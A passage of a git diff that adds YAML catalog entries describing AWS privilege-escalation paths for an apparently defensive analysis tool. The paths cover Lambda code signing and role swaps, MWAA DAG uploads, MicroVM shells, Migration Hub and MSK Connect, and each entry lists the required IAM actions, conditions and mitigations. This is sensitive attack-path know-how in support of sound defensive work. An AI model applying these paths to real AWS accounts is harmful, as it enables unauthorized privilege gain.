UpdateCodeSigningConfig are authorized on code-signing-config ARNs. New Warn configurations are reported only when a recorded publisher and broad Create/Put permissions support them; other creation paths remain unresolved. + +- id: aws-lambda-signer-startsigningjob-updatefunctioncode + provider: aws + service: lambda + title: Sign attacker code with a publisher profile already trusted by a function's code-signing config + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#signerstartsigningjob--lambdaupdatefunctioncode--sign-attacker-code-with-an-already-trusted-publisher + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of code-signed Lambda functions whose config trusts a signing profile it can use. + requires: + all_of: + - action: lambda:UpdateFunctionCode + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of code-signed Lambda functions in {account}" + preconditions: + - lambda_signer_trusted_profile_artifact_unverified + conditions: + - id: signing_profile_trusted + description: signer:StartSigningJob must cover a signing profile whose version ARN is in the AllowedPublishers of the function's code-signing config. + - id: versioned_source_bucket + description: Signer requires a versioned S3 source bucket and a destination bucket the source can write and read. + - id: function_invocation + description: The function must run after the update. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict signer:StartSigningJob on production signing profiles to the release pipeline, and keep signing profiles per environment. + references: + - https://docs.aws.amazon.com/signer/latest/developerguide/signing-profiles.html + notes: The evaluator joins the same writable ZIP function to its enforcing code-signing config and checks StartSigningJob on a trusted profile, including signer:ProfileVersion, plus GetCodeSigningConfig on the exact config ARN. A complete versioned source object and writable/readable signed destination are still needed before the role edge can be reported. The source S3 object may already exist, so PutObject is not always required. + +- id: aws-lambda-passrole-updatefunctionconfiguration-role-swap + provider: aws + service: lambda + title: Run controlled code through an existing Lambda function with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdaupdatefunctionconfiguration-lambdainvokefunction--repoint-an-existing-functions-execution-role + source_revision: 171e422299 + summary: The source can run chosen code under a passable Lambda-trusting role by changing the role and either the code or a startup wrapper layer of one existing function it can invoke. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: lambda:UpdateFunctionConfiguration + resource: "*" + - action: lambda:InvokeFunction + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - lambda_existing_zip_function_role_swap_ready + conditions: + - id: same_function + description: The role change, chosen-code path, and invocation must cover the same active ZIP function. Chosen code comes from UpdateFunctionCode or a newly published executable layer attached with AWS_LAMBDA_EXEC_WRAPPER and GetLayerVersion permission. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole to approved Lambda roles and restrict function configuration and code updates to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/api/API_UpdateFunctionConfiguration.html + - https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html + notes: Changing a function's role without a way to run chosen code does not grant the caller the role's general permissions. The evaluator requires UpdateFunctionCode or a new wrapper layer published and attached by the source on the same supported native-runtime function, followed by InvokeFunction. A pre-existing controlled layer or customer-managed KMS setting stays unresolved without further evidence. + +- id: aws-lambda-putresourcepolicy-grant-updatefunctioncode + provider: aws + service: lambda + title: Grant code updates to oneself through a Lambda function resource policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaputresourcepolicy--lambdaaddpermission--lambdaremovepermission--grant-code-updates-through-a-function-policy + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of existing Lambda functions whose resource policy it can replace, by granting itself lambda:UpdateFunctionCode there. + requires: + all_of: + - action: lambda:PutResourcePolicy + resource: "{target.resource_arn}" + request_context: + lambda:Principal: + source_principal: true + - action: lambda:AddPermission + resource: "{target.resource_arn}" + request_context: + lambda:Principal: + source_principal: true + - action: lambda:RemovePermission + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of Lambda functions whose policy is writable in {account}" + outcome: workload_execution + preconditions: + - lambda_policy_rewrite_zip_code_and_invoke_ready + conditions: + - id: same_function + description: The policy rewrite must grant code update and invocation on the same runnable ZIP function. + - id: no_explicit_deny + description: The source's identity policy, permissions boundary, and organization policy must not explicitly deny either granted action. + blockers: + - lambda_code_signing_enforced + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict lambda:PutResourcePolicy, lambda:AddPermission and lambda:RemovePermission to deployment principals on exact function ARNs, and enforce code signing. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html + notes: PutResourcePolicy requires all three permissions per the Lambda documentation, and UpdateFunctionCode is among the actions a function resource policy can grant. lambda:AddPermission alone is covered by the existing AddPermission entries. + +- id: aws-lambda-passrole-createfunction-functionurl + provider: aws + service: lambda + title: Create a Lambda with a passed role and invoke it through a Function URL + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdacreatefunctionurlconfig-lambdainvokefunctionurl + source_revision: 171e422299 + summary: The source can run code with a passable Lambda execution role through a newly created Function URL when it can invoke that URL and its function. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: lambda:CreateFunctionUrlConfig + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:FunctionUrlAuthType: AWS_IAM + bind: new_function + - action: lambda:InvokeFunctionUrl + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:FunctionUrlAuthType: AWS_IAM + bind: new_function + - action: lambda:InvokeFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:InvokedViaFunctionUrl: "true" + bind: new_function + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: url_auth_type + description: The new URL must use AWS_IAM auth; a NONE URL also needs a public function resource policy, which this route does not establish. + - id: same_new_function + description: CreateFunction, CreateFunctionUrlConfig, InvokeFunctionUrl and InvokeFunction must all be authorized for one available function name in the same Region. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Lambda execution roles and lambda:CreateFunctionUrlConfig to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html + notes: New Function URLs require both invoke actions. This route remains distinct from direct invocation when InvokeFunction is permitted only with lambda:InvokedViaFunctionUrl=true. + +- id: aws-lambda-microvm-passrole-runmicrovm-shell + provider: aws + service: lambda + title: Launch a Lambda MicroVM with a passed execution role and open a shell into it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambda-microvms + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles usable as Lambda MicroVM execution roles by launching a MicroVM runtime with that role and the shell-ingress connector and then opening an interactive shell in the guest, which receives the role credentials through IMDSv2. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles passable as Lambda MicroVM execution roles in {account}" + outcome: workload_execution + preconditions: + - lambda_microvm_shell_runnable_image_and_role + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions on the PassRole grant may restrict which roles can be attached to a MicroVM. + - id: same_image_scope + description: RunMicrovm and CreateMicrovmShellAuthToken must cover the same runnable customer image. AWS-managed base-image eligibility is left unresolved without runtime evidence. + - id: shell_ingress_connector + description: The runtime must be launched with the AWS-managed SHELL_INGRESS connector; lambda:PassNetworkConnector has no resource-level scope, so its IAM grant must apply to Resource *, and the connector cannot be added to a running MicroVM. + - id: alternative_attacker_image + description: A source able to build its own MicroVM image could instead run arbitrary application code with the passed role without a shell token; that variant is not modelled separately. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole for MicroVM execution roles to exact role ARNs with iam:PassedToService, scope lambda:RunMicrovm and lambda:CreateMicrovmShellAuthToken to exact image ARNs for operators only, and avoid the SHELL_INGRESS connector on images that run with privileged roles. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/microvms-how-it-works.html + - https://docs.aws.amazon.com/lambda/latest/dg/microvms-security.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_lambda.html + notes: RunMicrovm attaches an optional execution role whose credentials the guest receives through IMDSv2. AWS requires the execution role to trust lambda.amazonaws.com for sts:AssumeRole and sts:TagSession. The evaluator joins one recorded runnable customer image covered by RunMicrovm and CreateMicrovmShellAuthToken with a global PassNetworkConnector grant evaluated in the image's Region; the requested connector must be SHELL_INGRESS. A possible AWS-managed base-image path stays unknown without runtime evidence. + +- id: aws-lambda-passrole-createfunction-eventbridge-trigger + provider: aws + service: lambda + title: Run a newly created Lambda with a passable role through EventBridge + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#cronevent-actuator + source_revision: b587e6bd26 + summary: The source can run chosen code under a stronger Lambda-trusting role by creating a function and a scheduled EventBridge rule that invokes it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: events:PutRule + resource: arn:{source.partition}:events:*:{source.account}:rule/* + bind: scheduled_rule + - action: events:PutTargets + resource: arn:{source.partition}:events:*:{source.account}:rule/* + bind: scheduled_rule + - action: lambda:AddPermission + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + request_context: + lambda:Principal: events.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Passable Lambda roles reachable via EventBridge in {account} + outcome: workload_execution + conditions: + - id: scheduled_rule_invokes_function + description: The source must create an enabled scheduled rule on the default bus, add the newly created function as an allowed events:TargetArn, and grant events.amazonaws.com invoke permission; function and rule must be in one Region. + - id: passrole_condition_key + description: iam:PassedToService and iam:AssociatedResourceArn conditions must allow passing the role to this new Lambda function. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole, lambda:CreateFunction, events:PutRule, events:PutTargets, and lambda:AddPermission to approved deployment principals. + references: + - https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_PutRule.html + - https://docs.aws.amazon.com/eventbridge/latest/userguide/eb-use-conditions.html + - https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_PutTargets.html + notes: The two page examples, creating IAM user keys and granting assume-role permissions, are payload effects of this one role-execution path. A new PutRule is enabled by default and its schedule can supply the trigger without an external event source. The rule may also include an event pattern when an IAM condition requires events:source or events:detail-type. +- id: aws-lambda-getconfig-secret-identity + provider: aws + service: lambda + title: Recover a distinct identity credential from GetFunctionConfiguration environment + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#enumeration + source_revision: b587e6bd26 + summary: Recover a distinct identity credential from GetFunctionConfiguration environment when the exact + target and prerequisites are verified. + requires: + all_of: + - action: lambda:GetFunctionConfiguration + resource: '*' + target: + kind: aws_user + selector: + aws_challenge_fact: aws-lambda-getconfig-secret-identity + scope: same_account + aggregate_as: Verified Recover a distinct identity credential from GetFunctionConfiguration environment + targets in {account} + grants: + - Exact IAM user authenticated by a reviewed usable access key in the named resource + outcome: credentials + conditions: + - id: exact_credential_subject_resource + description: A reviewed evidence record must bind the source IAM principal, exact readable resource + and action, a read and authentication as the named IAM user, and an exact action and resource denied + to the source but allowed with that key; the source must hold effective read permission. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict the exact read or mutation permission and remove exposed credentials. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/configuration-envvars.html + notes: Only a direct IAM user access key is modeled. STS and application sessions remain held because + their effective rights may be narrower than the role or application identity. diff --git a/src/privilege-escalation-paths-research/aws/lightsail.yaml b/src/privilege-escalation-paths-research/aws/lightsail.yaml new file mode 100644 index 0000000000..7b53d52445 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/lightsail.yaml @@ -0,0 +1,7 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +[] diff --git a/src/privilege-escalation-paths-research/aws/m2.yaml b/src/privilege-escalation-paths-research/aws/m2.yaml new file mode 100644 index 0000000000..29dc5ecc15 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/m2.yaml @@ -0,0 +1,50 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Mainframe Modernization (M2) privilege escalation techniques. +# Source: hacktricks-cloud aws-mainframe-modernization-privesc/README.md. + +- id: aws-m2-passrole-createapplication-deploy + provider: aws + service: m2 + title: Create, deploy and start an M2 application with a passed application role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mainframe-modernization-privesc/README.md#m2createapplication--iampassrole---execute-a-workload-with-an-application-role + source_revision: 171e422299 + summary: The source may cause an M2 application to use a passable application role for resource actions driven by attacker-controlled artifacts. + requires: + all_of: + - action: m2:CreateApplication + resource: "*" + - action: m2:CreateDeployment + resource: "*" + - action: m2:StartApplication + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: m2.amazonaws.com + scope: same_account + aggregate_as: "Mainframe Modernization application roles in {account}" + outcome: workload_execution + preconditions: + - m2_existing_environment_new_application_deploy + conditions: + - id: runtime_environment_exists + description: An existing managed runtime environment must be available for the deployment (m2:CreateDeployment covers both the new application and that environment). + - id: valid_artifacts + description: The source must read an S3 application definition and artifacts valid for the chosen engine (s3:GetObject and s3:ListBucket, plus KMS permissions for a customer key). + - id: role_use_bounded + description: Confirm that a source-controlled definition and its engine-specific artifacts were accepted, the exact application was deployed and started under the exact role, and the workload completed a useful action allowed to that role but unavailable directly to the source. The runtime's use of the role does not imply that its credentials were exposed to application code. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: medium + mitigation: Restrict iam:PassRole on M2 application roles to deployment pipelines with iam:PassedToService and exact role ARNs, and keep application roles least-privileged. + references: + - https://docs.aws.amazon.com/m2/latest/userguide/security-iam.html + notes: Creating an application record alone does not use the role; deployment and start are required. The evaluator requires one collected Available runtime environment, exact deployment authorization on it, broad deployment and start authority covering the generated application ID, PassRole to m2.amazonaws.com, and a writable readable S3 definition path. A concrete edge additionally requires fresh reviewed evidence that valid source-controlled artifacts executed under the exact application role and completed a useful action unavailable directly to the source. Missing or conflicting execution evidence leaves the route unresolved. diff --git a/src/privilege-escalation-paths-research/aws/migrationhub.yaml b/src/privilege-escalation-paths-research/aws/migrationhub.yaml new file mode 100644 index 0000000000..30557a2377 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/migrationhub.yaml @@ -0,0 +1,102 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Migration Hub and Migration Hub Orchestrator privilege escalation techniques. +# Source: hacktricks-cloud aws-migration-hub-privesc/README.md and aws-migration-hub-orchestrator-privesc/README.md (rev 171e422299). + +- id: aws-mgh-passrole-automation-unit + provider: aws + service: mgh + title: Run a custom Migration Hub automation unit with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-privesc/README.md#migration-hub-automation-custom-unit--passrole---execute-as-a-more-privileged-role + source_revision: 171e422299 + summary: The source may be able to drive a passed role through a custom automation unit if the account can use the preview feature and the source controls a runnable target. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: migrationhub.amazonaws.com + - action: mgh:CreateAutomationUnit + resource: "*" + - action: mgh:AssociateAutomationUnitRole + resource: "*" + - action: mgh:CreateAutomationRun + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: migrationhub.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting migrationhub.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - mgh_automation_unit_home_region_target_and_run + conditions: + - id: preview_region + description: The preview feature is available only in us-east-1 with a us-east-1 Migration Hub home Region. + - id: controlled_runtime_target + description: The unit must target an SSM Automation document or Lambda function the source controls; SSM targets also need the role to trust ssm.amazonaws.com. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Migration Hub service roles with iam:PassedToService and limit automation-unit creation and runs to migration administrators. + references: + - https://docs.aws.amazon.com/migrationhub/latest/ug/automation.html + notes: The Migration Hub Automation guide warns that a user with these four permissions can perform actions the service role allows. A concrete edge requires fresh reviewed evidence of the us-east-1 home Region and feature access, one source-controlled SSM or Lambda target, successful creation, role association and run of the same unit, and a useful action performed under the exact role but unavailable directly to the caller. Current permissions must still allow creation, association on that unit, running and PassRole to migrationhub.amazonaws.com. Missing or conflicting execution evidence remains unresolved. + +- id: aws-migrationhub-orchestrator-workflow-step + provider: aws + service: migrationhub-orchestrator + title: Add or change a workflow step that runs a script on managed nodes + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-orchestrator-privesc/README.md#createworkflowstep--startworkflow---execute-an-s3-script-through-the-orchestrator-service-role + source_revision: 6fb9ac51fd + summary: A source-controlled script may run on an SSM-managed EC2 instance through a runnable Orchestrator workflow and reach that instance's role. + requires: + any_of: + - - action: migrationhub-orchestrator:CreateWorkflowStep + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + - action: migrationhub-orchestrator:StartWorkflow + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + - - action: migrationhub-orchestrator:UpdateWorkflowStep + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + - action: migrationhub-orchestrator:RetryWorkflowStep + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: Instance-profile roles of SSM-managed instances in {account} + outcome: workload_execution + preconditions: + - migrationhub_orchestrator_bound_workflow_script_and_managed_target + conditions: + - id: script_in_prefixed_bucket + description: The script must be in a migrationhub-orchestrator-* bucket (s3:PutObject + there, or an existing usable script). + - id: workflow_state + description: An existing workflow in a state that can be changed and started (or + a failed custom step for the retry variant), and the service-linked role, must + exist. + - id: instance_managed + description: The selected EC2 target must be an online SSM-managed node. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict workflow-step create/update/start/retry actions to migration + administrators and restrict writes to migrationhub-orchestrator-* buckets. + references: + - https://docs.aws.amazon.com/migrationhub-orchestrator/latest/userguide/security-iam-awsmanpol.html + notes: The two permissions in each alternative must authorize the same workflow. No iam:PassRole or ssm:SendCommand is needed because the service-linked role runs AWS-RunRemoteScript. A concrete edge requires fresh reviewed evidence that an automated step in a runnable workflow retrieved a source-controlled script, executed on the exact online SSM-managed EC2 instance, and performed a useful action under its exact instance role that the caller could not perform directly. Current workflow and S3 write permissions must still cover that same workflow and script. Missing or conflicting execution evidence remains unresolved. diff --git a/src/privilege-escalation-paths-research/aws/mldataaccess.yaml b/src/privilege-escalation-paths-research/aws/mldataaccess.yaml new file mode 100644 index 0000000000..a5b41de7e3 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/mldataaccess.yaml @@ -0,0 +1,57 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# PassRole techniques from the ML/analytics data-access page that yield code execution as the role. +# Source: hacktricks-cloud aws-ml-dataaccess-passrole-privesc/README.md (rev 171e422299). +# The data-only (confused-deputy read/write) services on that page are excluded in _excluded_refresh_g4.yaml. + +- id: aws-kafkaconnect-passrole-createconnector + provider: aws + service: kafkaconnect + title: Create an MSK Connect connector with a passed service execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting kafkaconnect.amazonaws.com by running connector plugin code it controls in MSK Connect workers that carry that role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: kafkaconnect.amazonaws.com + - action: kafkaconnect:CreateConnector + resource: "*" + - action: kafkaconnect:CreateCustomPlugin + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: kafkaconnect.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting kafkaconnect.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - kafkaconnect_plugin_execution_unverified + conditions: + - id: controlled_plugin_code + description: CreateCustomPlugin must register connector code the source supplies; an AWS-provided or unrelated existing plugin does not run source-controlled code. + - id: plugin_object_readable + description: When a new custom plugin is registered, its code object must be stored in S3 at a location readable for plugin creation. + - id: reachable_kafka_cluster + description: The connector needs a reachable Apache Kafka cluster (MSK or self-managed) and VPC subnets and security groups to attach to. + - id: ec2_dependent_actions + description: Connector creation also needs EC2 network-interface and VPC/subnet/security-group describe permissions, plus log-delivery permissions if worker logging is configured. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on MSK Connect service execution roles and kafkaconnect:CreateConnector / CreateCustomPlugin to platform administrators, keep connector roles least-privileged, and alert on CreateConnector calls that name an unexpected service execution role. + references: + - https://docs.aws.amazon.com/msk/latest/developerguide/msk-connect-service-execution-role.html + - https://docs.aws.amazon.com/msk/latest/developerguide/mkc-iam-policy-examples.html + notes: CreateCustomPlugin and CreateConnector are authorized on * and PassRole must cover the exact service execution role for kafkaconnect.amazonaws.com. A concrete route requires fresh reviewed evidence that the source controlled the exact S3 JAR or ZIP registered as a custom plugin, the connector selected that plugin and a reachable Kafka cluster with working network configuration, and the running plugin performed a useful action under the immutable role ID that the caller could not perform directly. Missing artifact, cluster or execution evidence remains UNKNOWN. diff --git a/src/privilege-escalation-paths-research/aws/mwaa.yaml b/src/privilege-escalation-paths-research/aws/mwaa.yaml new file mode 100644 index 0000000000..5a5389b38e --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/mwaa.yaml @@ -0,0 +1,113 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon MWAA (Managed Workflows for Apache Airflow) privilege escalation techniques. +# Source: hacktricks-cloud aws-post-exploitation/aws-mwaa-post-exploitation/README.md (rev 171e422299). + +- id: aws-mwaa-s3-putobject-dag + provider: aws + service: airflow + title: Upload a Python DAG to an existing MWAA environment + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#write-a-dag-file-into-an-mwaa-environments-dag-bucket-and-run-code-as-its-execution-role + source_revision: aa345c4cbe + summary: The source can place a Python DAG in an existing environment's configured S3 DAG folder, where MWAA may parse it under the environment's recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of MWAA environments whose DAG folders are writable in {account} + outcome: workload_execution + preconditions: + - mwaa_existing_dag_object_execution_role + conditions: + - id: dag_sync_and_python_parse + description: The uploaded Python file must be synchronized and parsed by MWAA; object encryption and runtime failures may still block code execution. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit write access to each MWAA DAG folder to trusted deployment principals and keep environment execution roles narrow. + references: + - https://docs.aws.amazon.com/mwaa/latest/userguide/configuring-dag-folder.html + - https://docs.aws.amazon.com/mwaa/latest/API/API_GetEnvironment.html + notes: The evaluator binds a collected AVAILABLE environment's exact ExecutionRoleArn, bucket and DAG path to a source-writable Python object and the role's read/list grants. It also tests exact .py keys named by the source policy, not only a fixed generated file. It never infers a role from a token or from a different environment's DAG bucket. + +- id: aws-mwaa-serverless-passrole-createworkflow + provider: aws + service: airflow-serverless + title: Create an MWAA Serverless workflow with a passed execution role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#airflow-serverlesscreateworkflow--iampassrole--run-attacker-code-as-the-execution-role + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles trusting airflow-serverless.amazonaws.com by creating a workflow from its own YAML definition with that execution role and starting a run. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: airflow-serverless.amazonaws.com + - action: airflow-serverless:CreateWorkflow + resource: "*" + - action: airflow-serverless:StartWorkflowRun + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: airflow-serverless.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Passable MWAA Serverless execution roles in {account}" + outcome: workload_execution + preconditions: + - mwaa_serverless_new_workflow_definition_and_start + conditions: + - id: definition_readable + description: The caller needs s3:GetObject/s3:ListBucket on a bucket holding its DAG-factory YAML definition and CloudWatch Logs write on the workflow log group. + - id: network_reach + description: Without NAT or VPC endpoints, in-task AWS API calls only reach endpoints the workflow network can route to; the role is still assumed in the worker. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Constrain iam:PassRole for airflow-serverless.amazonaws.com to approved roles and restrict airflow-serverless:CreateWorkflow. + references: + - https://docs.aws.amazon.com/mwaa/latest/mwaa-serverless-userguide/what-is-mwaa-serverless.html + notes: The source demonstrates a DAG-factory YAML object in S3 and a subsequent StartWorkflowRun call on the ARN returned by CreateWorkflow. The evaluator requires complete workflow inventory, a free name, a same-Region versioned private bucket for source-written YAML, StartWorkflowRun covering generated IDs, logging grants, and the exact service-linked role or permission to create it. A concrete role edge additionally requires fresh reviewed evidence that the exact YAML was accepted, its new workflow ran, and a useful action succeeded under the exact execution role but not for the caller. Missing or conflicting execution evidence remains unresolved. + +- id: aws-mwaa-passrole-updateenvironment + provider: aws + service: airflow + title: Repoint an MWAA environment to a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#repoint-the-execution-role-airflowupdateenvironment--iampassrole + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles trusting MWAA by switching an environment's execution role to them and running code on the workers (startup script, plugins, requirements or a DAG). + requires: + all_of: + - action: airflow:UpdateEnvironment + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: [airflow.amazonaws.com, airflow-env.amazonaws.com] + scope: same_account + aggregate_as: "Passable MWAA execution roles in {account}" + outcome: workload_execution + preconditions: + - mwaa_existing_environment_update_with_dag_code + conditions: + - id: code_trigger + description: Caller code must run on the workers after the update, through StartupScriptS3Path/PluginsS3Path/RequirementsS3Path objects the source controls, a DAG it can add, or an Airflow token (airflow:CreateCliToken / CreateWebLoginToken). + - id: environment_exists + description: An MWAA environment must already exist; the update is asynchronous and recycles the workers. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Constrain iam:PassRole for airflow.amazonaws.com / airflow-env.amazonaws.com and restrict airflow:UpdateEnvironment; pin aws:SourceArn of the environment in execution-role trust policies. + references: + - https://docs.aws.amazon.com/mwaa/latest/API/API_UpdateEnvironment.html + notes: The evaluator binds UpdateEnvironment to a usable collected environment and checks PassRole for that environment with iam:PassedToService and iam:AssociatedResourceArn. It also verifies a writable DAG object the passed role can list and read. A concrete role edge additionally requires fresh reviewed evidence that the update succeeded, the exact controlled DAG parsed, a task ran, and a useful action succeeded under the exact new execution role but not for the caller. Startup scripts, plugins and Airflow tokens are alternative code paths that remain unresolved. The same UpdateEnvironment call can set code paths that run as the current execution role without PassRole. diff --git a/src/privilege-escalation-paths-research/aws/organizations.yaml b/src/privilege-escalation-paths-research/aws/organizations.yaml new file mode 100644 index 0000000000..0ad0ee8e6f --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/organizations.yaml @@ -0,0 +1,91 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Organizations privilege escalation techniques. +# Source: hacktricks-cloud aws-organizations-prinvesc/README.md. + +- id: aws-organizations-management-to-member-accounts + provider: aws + service: organizations + title: Assume trusted roles in usable organization member accounts + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#from-management-account-to-children-accounts + 